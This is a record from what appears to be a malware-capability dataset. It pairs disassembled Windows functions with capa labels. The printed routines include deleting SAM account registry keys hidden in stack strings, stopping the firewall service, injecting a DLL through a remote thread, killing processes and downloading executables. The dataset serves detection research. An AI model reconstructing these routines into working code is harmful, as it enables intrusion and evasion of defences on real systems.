joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409940
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x2c
or ecx, 0xffffffff
xor eax, eax
push esi
push edi
mov edi, str.00000
mov esi, dword [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.00000
push esi
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
push esi
jne 0x409978
lea eax, [esp + 0xc]
push 0x4189a8
push eax
jmp 0x409982
lea ecx, [esp + 0xc]
push str.00000_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x30], dl
mov dl, 0x63
add esp, 0xc
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov cl, 0x4d
mov byte [esp + 0x17], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x23], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x31], al
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov cl, 0x73
push eax
push 0x80000002
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x6d
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x409a44
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
mov edx, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
add esp, 0x2c
ret 4
Function at 0x409b40
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x54
push ebx
push esi
mov esi, ecx
mov bl, 0x53
mov cl, 0x4d
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0xe], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], al
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x13], al
mov cl, 0x73
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x60]
mov bl, 0x6e
mov dl, 0x63
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x21], bl
push eax
lea ecx, [esp + 0x38]
mov dl, 0x65
xor ebx, ebx
push 0x4189a8
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x55
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x17], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x60]
lea eax, [esp + 0xc]
push edx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x409c39
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret 4
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x34]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov eax, dword [esp + 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
lea edx, [esp + 0xf]
setne cl
add ecx, 0x85
push 1
mov byte [esp + 0x13], cl
push edx
mov ecx, esi
call fcn.00404dc0
lea eax, [esp + 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
add esp, 0x54
ret 4

Function at 0x409ef0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.00413b60
add eax, 1
adc edx, 0
push edx
push eax
push 0x418988
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x40ab10
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x40ab5a
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x1c
ret

Function at 0x40ae90
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40af08
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x40af60
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0x89
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.00404dc0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret

Function at 0x40b020
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x40b04d
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x40b04f
xor eax, eax
add esp, 0x9c
ret
Function at 0x40b0b0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x40b133
push ebx
lea eax, [esp + 0x10]
push ebp
push eax
push esi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40b118
mov ebx, dword [esp + 0x140]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x38]
push ecx
push ebx
call ebp
test eax, eax
je 0x40b10b
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40b0ee
jmp 0x40b118
mov eax, dword [esp + 0x1c]
mov edi, 1
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
cmp edi, 1
pop ebx
jne 0x40b133
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x12c
ret
pop edi
xor eax, eax
pop esi
add esp, 0x12c
ret

Function at 0x40b140
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x40b1c3
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x40b1bf
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x40b1c3
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x40b1a1
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
Function at 0x40b1e0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x28]
test esi, esi
push edi
jne 0x40b1f5
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x40b212
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov cl, 0x65
mov al, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 0x14]
mov dl, 0x6c
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x46
mov byte [esp + 0xd], al
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x40b2c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret

Function at 0x40b2f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40b35a
push ebx
mov ebx, dword [esp + 0x138]
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call fcn.0040b140
add esp, 8
test eax, eax
je 0x40b34a
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.0040b1e0
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0xc]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40b323
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x128
ret
Function at 0x40b470
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4143c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esp
mov esi, ecx
push edi
mov dword [ebp - 0x290], esi
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
jbe 0x40c599
cmp eax, 0xffff
jae 0x40c599
lea eax, [ebp - 0x398]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x398]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.0040b020
test al, al
je 0x40b512
lea edx, [ebp - 0x398]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40b53c
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40b53c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov ecx, esi
call fcn.0040a020
lea ecx, [ebp - 0x294]
push 0x416518
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x294], 0x18
call sub.MSVCRT.dll__CxxThrowException
mov ecx, esi
call fcn.0040ae90
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.00409fc0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40cf40
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
push edi
xor edx, edx
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x134]
mov dword [ebp - 0x138], edx
mov byte [ebp - 0x23c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x23b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
push 2
mov dword [ebp - 8], edx
stosb byte es:[edi], al
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x10], esi
jne 0x40cf95
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 0x400
push 0x40
mov dword [ebp - 0x138], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov edi, 1
mov byte [ebx], 0x7d
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40d118
mov ecx, dword [ebp - 0x130]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [ebp - 0x130]
test eax, eax
je 0x40d0fd
cmp eax, 4
je 0x40d0fd
cmp eax, 8
je 0x40d0fd
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x23c]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x114]
push eax
call esi
lea ecx, [ebp - 0x23c]
mov edx, eax
push ecx
mov dword [ebp - 4], edx
call esi
mov edx, dword [ebp - 4]
push ebx
lea eax, [edx + eax + 6]
lea esi, [eax + edi]
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x40d074
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x114]
mov dword [edi + ebx], eax
add edi, 4
push ecx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [ebp - 0x114]
inc ecx
add edi, ebx
mov edx, ecx
lea eax, [ebp - 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x23c]
push edx
lea edi, [ecx + eax + 1]
mov dword [ebp - 4], edi
call esi
mov ecx, eax
lea esi, [ebp - 0x23c]
inc ecx
add edi, ebx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 4]
lea eax, [edx + eax + 1]
mov dword [ebp - 4], eax
mov edi, eax
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x138]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40cfda
mov esi, dword [ebp - 0x10]
push 0x42
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d140
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp + 0xc]
xor esi, esi
test ebx, ebx
jbe 0x40d193
mov eax, dword [ebp + 8]
mov ecx, dword [esi + eax]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x40d163
mov edi, dword [ebp - 4]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.0040cd80
mov ecx, edi
call fcn.0040cf10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40d320
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x40d2f0
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x40d3a0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40d40e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call sub.MSVCRT.dll__strcmpi
add esp, 8
test eax, eax
jne 0x40d3ec
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40d40e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40d3e4
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40d3f7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x40d420
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x40d472
push esi
push pe_nt_image_headers32
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret
Function at 0x40d600
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x40d64a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x40d64a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x40d667
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40d667
call fcn.0040d480
pop edi
pop esi
add esp, 0x9c
ret
call fcn.0040d420
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x40d860
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x40d8a3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push 0x80000000
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x40d8cd
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x40d95f
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x40d921
cmp word [esp + 0x24], 0x5a4d
jne 0x40d948
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x40d950
jmp 0x40d8f5
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x40dee0
Capabilities:
Terminate thread

Disassembly:
sub esp, 0x80
mov byte [0x41d874], 0
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x41c86c]
test eax, eax
je 0x40df43
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [0x41a138]
mov eax, dword [0x41c86c]
lea ecx, [esp + 8]
push eax
push str.nsocket_di:_d
push ecx
call esi
mov edx, dword [0x41c86c]
add esp, 0xc
mov eax, dword [edx*4 + 0x41b86c]
cmp eax, 0xffffffff
je 0x40df36
push eax
call edi
mov eax, dword [0x41c86c]
dec eax
mov dword [0x41c86c], eax
jne 0x40df0c
mov eax, dword [0x41d878]
test eax, eax
je 0x40df82
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x41d878]
mov eax, dword [eax*4 + 0x41c874]
cmp eax, 0xffffffff
je 0x40df75
push 0
push eax
call esi
push 0x41c874
call edi
mov eax, dword [0x41d878]
dec eax
mov dword [0x41d878], eax
jne 0x40df58
pop edi
mov dword [0x41d878], 0
mov dword [0x41c86c], 0
mov byte [0x41d874], 1
pop esi
add esp, 0x80
ret
Function at 0x4034a8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x494020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403540
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403520
xor eax, eax
push ebp
push 0x403519
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40355c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403520
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x494020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x494020], ax
mov esp, ebp
pop ebp
ret

Function at 0x40424c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x496048], 0
je 0x4042ad
cmp word [0x49621c], 0xd7b2
jne 0x404275
cmp dword [0x496224], 0
jbe 0x404275
mov eax, 0x496218
call dword [0x496234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x494070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4042d4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x494030], 0
jne 0x4042c9
push 0
push 0x494068
push 0x494070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret